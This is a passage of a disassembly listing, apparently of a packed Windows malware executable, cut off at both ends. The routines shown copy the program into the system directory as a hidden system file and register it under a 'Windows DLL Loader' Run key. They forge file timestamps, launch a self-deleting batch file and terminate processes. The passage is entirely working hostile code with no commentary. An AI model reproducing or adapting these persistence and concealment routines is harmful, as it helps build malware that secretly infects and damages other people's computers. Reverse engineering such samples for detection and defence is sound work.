		push	0
		push	1
		call	ds:dword_417094	; OpenProcess
		mov	[ebp+var_8], eax
		push	0
		push	[ebp+var_8]
		call	ds:dword_4170A0	; TerminateProcess
		push	[ebp+var_8]
		call	ds:dword_4170A4	; CloseHandle

locret_40668D:				; CODE XREF: sub_406643+Bj
					; sub_406643+24j
		leave
		retn
sub_406643	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40668F	proc near		; CODE XREF: sub_403DF3+149p
					; sub_40A9CF+BDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_4066A0
; ---------------------------------------------------------------------------


loc_406699:				; CODE XREF: sub_40668F+2Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066A0:				; CODE XREF: sub_40668F+8j
		cmp	[ebp+var_4], 8
		jge	short loc_4066BB
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_406699
; ---------------------------------------------------------------------------


loc_4066BB:				; CODE XREF: sub_40668F+15j
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+8], 0
		and	[ebp+var_4], 0
		jmp	short loc_4066CF
; ---------------------------------------------------------------------------


loc_4066C8:				; CODE XREF: sub_40668F+59j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066CF:				; CODE XREF: sub_40668F+37j
		cmp	[ebp+var_4], 6
		jge	short loc_4066EA
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4066C8
; ---------------------------------------------------------------------------


loc_4066EA:				; CODE XREF: sub_40668F+44j
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax+6], 0
		and	[ebp+var_4], 0
		jmp	short loc_4066FE
; ---------------------------------------------------------------------------


loc_4066F7:				; CODE XREF: sub_40668F+88j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066FE:				; CODE XREF: sub_40668F+66j
		cmp	[ebp+var_4], 10h
		jge	short loc_406719
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4066F7
; ---------------------------------------------------------------------------


loc_406719:				; CODE XREF: sub_40668F+73j
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax+10h], 0
		leave
		retn
sub_40668F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406722	proc near		; CODE XREF: sub_40A9CF+F40p

var_424		= byte ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		cmp	[ebp+arg_4], 0
		jnz	short loc_406736
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406736:				; CODE XREF: sub_406722+Dj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+4]
		cmp	eax, 5Ch
		jz	short loc_406747
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406747:				; CODE XREF: sub_406722+1Ej
		push	4
		push	offset aHkcr	; "HKCR"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_406769
		mov	[ebp+var_218], 80000000h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_406769:				; CODE XREF: sub_406722+39j
		push	4
		push	offset aHkcu	; "HKCU"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40678B
		mov	[ebp+var_218], 80000001h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_40678B:				; CODE XREF: sub_406722+5Bj
		push	4
		push	offset aHklm	; "HKLM"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4067AD
		mov	[ebp+var_218], 80000002h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_4067AD:				; CODE XREF: sub_406722+7Dj
		push	4
		push	offset aHkus	; "HKUS"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4067CF
		mov	[ebp+var_218], 80000003h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_4067CF:				; CODE XREF: sub_406722+9Fj
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_4067D4:				; CODE XREF: sub_406722+45j
					; sub_406722+67j ...
		mov	eax, [ebp+arg_4]
		add	eax, 5
		mov	[ebp+arg_4], eax
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_210], eax
		jmp	short loc_4067FB
; ---------------------------------------------------------------------------


loc_4067EE:				; CODE XREF: sub_406722:loc_406858j
		mov	eax, [ebp+var_210]
		dec	eax
		mov	[ebp+var_210], eax


loc_4067FB:				; CODE XREF: sub_406722+CAj
		cmp	[ebp+var_210], 0
		jnz	short loc_406809
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406809:				; CODE XREF: sub_406722+E0j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_210]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jnz	short loc_406858
		mov	eax, [ebp+var_210]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 200h
		jb	short loc_40683A
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_40683A:				; CODE XREF: sub_406722+111j
		mov	eax, [ebp+var_210]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_40685A
; ---------------------------------------------------------------------------


loc_406858:				; CODE XREF: sub_406722+F6j
		jmp	short loc_4067EE
; ---------------------------------------------------------------------------


loc_40685A:				; CODE XREF: sub_406722+134j
		cmp	[ebp+var_210], 200h
		jb	short loc_40686B
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_40686B:				; CODE XREF: sub_406722+142j
		push	[ebp+var_210]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_210]
		and	[ebp+eax+var_418], 0
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		push	0
		lea	eax, [ebp+var_418]
		push	eax
		push	[ebp+var_218]
		call	ds:dword_417008	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_4068B5
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_4068B5:				; CODE XREF: sub_406722+18Cj
		mov	[ebp+var_8], 1000h
		push	[ebp+var_8]
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_214], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_214]
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_41700C	; RegQueryValueExA
		test	eax, eax
		jnz	loc_406A0C
		cmp	[ebp+var_4], 1
		jz	short loc_4068FF
		cmp	[ebp+var_4], 2
		jnz	short loc_406915


loc_4068FF:				; CODE XREF: sub_406722+1D5j
		push	[ebp+var_214]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch


loc_406915:				; CODE XREF: sub_406722+1DBj
		cmp	[ebp+var_4], 4
		jnz	short loc_406933
		mov	eax, [ebp+var_214]
		push	dword ptr [eax]
		push	offset dword_418B5C
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch


loc_406933:				; CODE XREF: sub_406722+1F7j
		cmp	[ebp+var_4], 3
		jnz	loc_406A0C
		push	180h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_420], eax
		mov	eax, [ebp+var_420]
		and	byte ptr [eax],	0
		and	[ebp+var_41C], 0
		jmp	short loc_40696D
; ---------------------------------------------------------------------------


loc_406960:				; CODE XREF: sub_406722+2C3j
		mov	eax, [ebp+var_41C]
		inc	eax
		mov	[ebp+var_41C], eax


loc_40696D:				; CODE XREF: sub_406722+23Cj
		mov	eax, [ebp+var_41C]
		cmp	eax, [ebp+var_8]
		jnb	short loc_4069EA
		mov	eax, [ebp+var_214]
		add	eax, [ebp+var_41C]
		movzx	eax, byte ptr [eax]
		push	eax
		push	offset dword_418B54
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		push	[ebp+var_420]
		call	sub_416B40	; strlen
		pop	ecx
		add	eax, 3
		cmp	eax, 180h
		jb	short loc_4069D1
		push	[ebp+var_420]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch
		mov	eax, [ebp+var_420]
		and	byte ptr [eax],	0


loc_4069D1:				; CODE XREF: sub_406722+28Ej
		lea	eax, [ebp+var_424]
		push	eax
		push	[ebp+var_420]
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		jmp	loc_406960
; ---------------------------------------------------------------------------


loc_4069EA:				; CODE XREF: sub_406722+254j
		push	[ebp+var_420]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_420]
		call	sub_416B4C	; free
		pop	ecx


loc_406A0C:				; CODE XREF: sub_406722+1CBj
					; sub_406722+215j
		push	[ebp+var_214]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_C]
		call	ds:dword_417028	; RegCloseKey

locret_406A21:				; CODE XREF: sub_406722+Fj
					; sub_406722+20j ...
		leave
		retn
sub_406722	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A23	proc near		; CODE XREF: sub_40D043:loc_40D18Dp
					; sub_40D871:loc_40DB71p

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		call	ds:dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		push	offset dword_41DD14
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	ds:dword_4170AC	; DeleteFileA
		push	offset dword_4182AC
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0
		jz	short locret_406AE5
		push	[ebp+var_108]
		push	1
		push	2
		push	offset dword_418DE0
		call	sub_416B7C	; fwrite
		add	esp, 10h
		push	[ebp+var_108]
		call	sub_416B82	; fclose
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406B81
		pop	ecx

locret_406AE5:				; CODE XREF: sub_406A23+90j
		leave
		retn
sub_406A23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AE7	proc near		; CODE XREF: sub_40D043+13Dp
					; sub_40D871+2F3p

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		call	ds:dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		push	offset dword_41DD14
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0
		jz	short loc_406B7D
		push	[ebp+var_108]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_406B7F
; ---------------------------------------------------------------------------


loc_406B7D:				; CODE XREF: sub_406AE7+83j
		xor	eax, eax

locret_406B7F:				; CODE XREF: sub_406AE7+94j
		leave
		retn
sub_406AE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B81	proc near		; CODE XREF: sub_406A23+BCp
					; sub_406E8E+246p

var_120		= dword	ptr -120h
var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	104h
		lea	eax, [ebp+var_11C]
		push	eax
		call	ds:dword_417040	; GetWindowsDirectoryA
		push	offset dword_418DE8
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		lea	eax, [ebp+var_11C]
		push	eax
		call	ds:dword_417044	; CreateFileA
		mov	[ebp+var_120], eax
		cmp	[ebp+var_120], 0FFFFFFFFh
		jz	short locret_406C4F
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_120]
		call	ds:dword_417048	; GetFileTime
		push	[ebp+var_120]
		call	ds:dword_4170A4	; CloseHandle
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	ds:dword_417044	; CreateFileA
		mov	[ebp+var_120], eax
		cmp	[ebp+var_120], 0FFFFFFFFh
		jz	short locret_406C4F
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_120]
		call	ds:dword_41704C	; SetFileTime
		push	[ebp+var_120]
		call	ds:dword_4170A4	; CloseHandle

locret_406C4F:				; CODE XREF: sub_406B81+5Aj
					; sub_406B81+A8j
		leave
		retn
sub_406B81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C51	proc near		; CODE XREF: sub_406E8E+133p
					; sub_406E8E+214p ...

var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	ds:dword_417014	; RegCreateKeyExA
		cmp	[ebp+arg_0], 0
		jz	short loc_406CE1
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		call	ds:dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		call	ds:dword_41703C	; lstrlenA
		inc	eax
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		push	1
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	ds:dword_417010	; RegSetValueExA
		jmp	short loc_406CED
; ---------------------------------------------------------------------------


loc_406CE1:				; CODE XREF: sub_406C51+30j
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	ds:dword_417004	; RegDeleteValueA


loc_406CED:				; CODE XREF: sub_406C51+8Ej
		push	[ebp+var_4]
		call	ds:dword_417028	; RegCloseKey
		leave
		retn
sub_406C51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CF8	proc near		; CODE XREF: sub_406D47+2Bp
					; sub_406E8E+253p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_C], eax
		and	[ebp+var_4], 0
		jmp	short loc_406D1D
; ---------------------------------------------------------------------------


loc_406D16:				; CODE XREF: sub_406CF8:loc_406D40j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_406D1D:				; CODE XREF: sub_406CF8+1Cj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jnb	short loc_406D42
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jnz	short loc_406D40
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_8], eax


loc_406D40:				; CODE XREF: sub_406CF8+39j
		jmp	short loc_406D16
; ---------------------------------------------------------------------------


loc_406D42:				; CODE XREF: sub_406CF8+2Bj
		mov	eax, [ebp+var_8]
		leave
		retn
sub_406CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D47	proc near		; CODE XREF: sub_406E8E+9p
					; sub_407148+9p

var_108		= byte ptr -108h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		push	0
		call	ds:dword_41708C	; GetModuleHandleA
		push	eax
		call	ds:dword_417090	; GetModuleFileNameA
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_406CF8
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		lea	eax, [ebp+var_108]
		push	eax
		call	ds:dword_417038	; SetCurrentDirectoryA
		leave
		retn
sub_406D47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D90	proc near		; CODE XREF: sub_406E8E+25Ap
					; sub_407148+168p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	8
		push	4
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		and	[ebp+var_1C], 0


loc_406DA8:				; CODE XREF: sub_406D90:loc_406DDFj
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_1C]
		mov	[ebp+ecx+var_18], al
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_20]
		jnz	short loc_406DDF
		push	offset a_bat	; ".bat"
		mov	eax, [ebp+var_1C]
		lea	eax, [ebp+eax+var_18]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_406DE1
; ---------------------------------------------------------------------------


loc_406DDF:				; CODE XREF: sub_406D90+37j
		jmp	short loc_406DA8
; ---------------------------------------------------------------------------


loc_406DE1:				; CODE XREF: sub_406D90+4Dj
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		push	400h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_18]
		push	eax
		call	ds:dword_4170AC	; DeleteFileA
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_18]
		push	eax
		call	ds:dword_417044	; CreateFileA
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	short loc_406E2B
		xor	eax, eax
		jmp	short locret_406E8C
; ---------------------------------------------------------------------------


loc_406E2B:				; CODE XREF: sub_406D90+95j
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+arg_0]
		push	[ebp+arg_0]
		push	offset a@echoOffDelete ; "@echo	off\r\n:deleteagain\r\ndel /A:H	/F %s"...
		push	[ebp+var_24]
		call	ds:dword_4171E0	; wsprintfA
		add	esp, 18h
		and	[ebp+var_4], 0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_24]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	ds:dword_417068	; WriteFile
		push	[ebp+var_28]
		call	ds:dword_4170A4	; CloseHandle
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	ds:dword_4171D0	; ShellExecuteA
		push	1
		pop	eax

locret_406E8C:				; CODE XREF: sub_406D90+99j
		leave
		retn
sub_406D90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E8E	proc near		; CODE XREF: UPX0:loc_4169E1p

var_368		= dword	ptr -368h
var_338		= word ptr -338h
var_324		= byte ptr -324h
var_220		= dword	ptr -220h
var_21C		= byte ptr -21Ch
var_118		= byte ptr -118h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 368h
		call	sub_406D47
		push	104h
		lea	eax, [ebp+var_324]
		push	eax
		push	0
		call	ds:dword_41708C	; GetModuleHandleA
		push	eax
		call	ds:dword_417090	; GetModuleFileNameA
		and	[ebp+var_14], 0
		and	[ebp+var_220], 0
		jmp	short loc_406ED1
; ---------------------------------------------------------------------------


loc_406EC4:				; CODE XREF: sub_406E8E:loc_406FF8j
		mov	eax, [ebp+var_220]
		inc	eax
		mov	[ebp+var_220], eax


loc_406ED1:				; CODE XREF: sub_406E8E+34j
		mov	eax, [ebp+var_220]
		shl	eax, 1
		cmp	ds:off_418B88[eax*4], 0
		jz	loc_406FFD
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax
		push	104h
		lea	eax, [ebp+var_21C]
		push	eax
		call	ds:dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	ds:off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	ds:off_418B88[eax*4]
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	ds:off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_324]
		push	eax
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_406FF8
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	ds:off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	ds:off_418B8C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	ds:off_418B88[eax*4]
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	ds:off_418B8C[eax*4]
		push	1
		call	sub_406C51
		add	esp, 0Ch
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	ds:off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	ds:off_418B8C[eax*4]
		call	sub_4105AD
		pop	ecx
		jmp	locret_407146
; ---------------------------------------------------------------------------


loc_406FF8:				; CODE XREF: sub_406E8E+E3j
		jmp	loc_406EC4
; ---------------------------------------------------------------------------


loc_406FFD:				; CODE XREF: sub_406E8E+53j
		push	[ebp+var_14]
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		push	104h
		lea	eax, [ebp+var_118]
		push	eax
		call	ds:dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	ds:off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	ds:off_418B88[eax*4]
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	ds:off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_118]
		push	eax
		call	ds:dword_4170AC	; DeleteFileA


loc_40707C:				; DATA XREF: UPX1:0041AD4Co
					; UPX1:0041AD60o ...
		push	0
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_324]
		push	eax
		call	ds:dword_417060	; CopyFileA
		test	eax, eax
		jnz	short loc_4070AF
		push	offset dword_41EBFC
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	1
		call	sub_406C51
		add	esp, 0Ch
		jmp	locret_407146
; ---------------------------------------------------------------------------


loc_4070AF:				; CODE XREF: sub_406E8E+206j
		push	4
		lea	eax, [ebp+var_118]
		push	eax
		call	ds:dword_4170A8	; SetFileAttributesA
		push	2
		lea	eax, [ebp+var_118]
		push	eax
		call	ds:dword_4170A8	; SetFileAttributesA
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_406B81
		pop	ecx
		lea	eax, [ebp+var_324]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		push	44h
		push	0
		lea	eax, [ebp+var_368]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_368], 44h
		and	[ebp+var_338], 0
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_368]
		push	eax
		push	0
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_118]
		push	eax
		push	0
		call	ds:dword_41707C	; CreateProcessA
		call	ds:dword_417254	; WSACleanup
		push	0
		call	sub_416BFC	; exit

locret_407146:				; CODE XREF: sub_406E8E+165j
					; sub_406E8E+21Cj
		leave
		retn
sub_406E8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407148	proc near		; CODE XREF: sub_402A32+7BBp
					; sub_40A9CF+145Fp ...

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		call	sub_406D47
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		push	0
		call	ds:dword_41708C	; GetModuleHandleA
		push	eax
		call	ds:dword_417090	; GetModuleFileNameA
		and	[ebp+var_108], 0
		jmp	short loc_407187
; ---------------------------------------------------------------------------


loc_40717A:				; CODE XREF: sub_407148:loc_4072DBj
		mov	eax, [ebp+var_108]
		inc	eax
		mov	[ebp+var_108], eax


loc_407187:				; CODE XREF: sub_407148+30j
		mov	eax, [ebp+var_108]
		shl	eax, 1
		cmp	ds:off_418B88[eax*4], 0
		jz	loc_4072E0
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	ds:off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	ds:off_418B88[eax*4]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	ds:off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4072DB
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	ds:off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
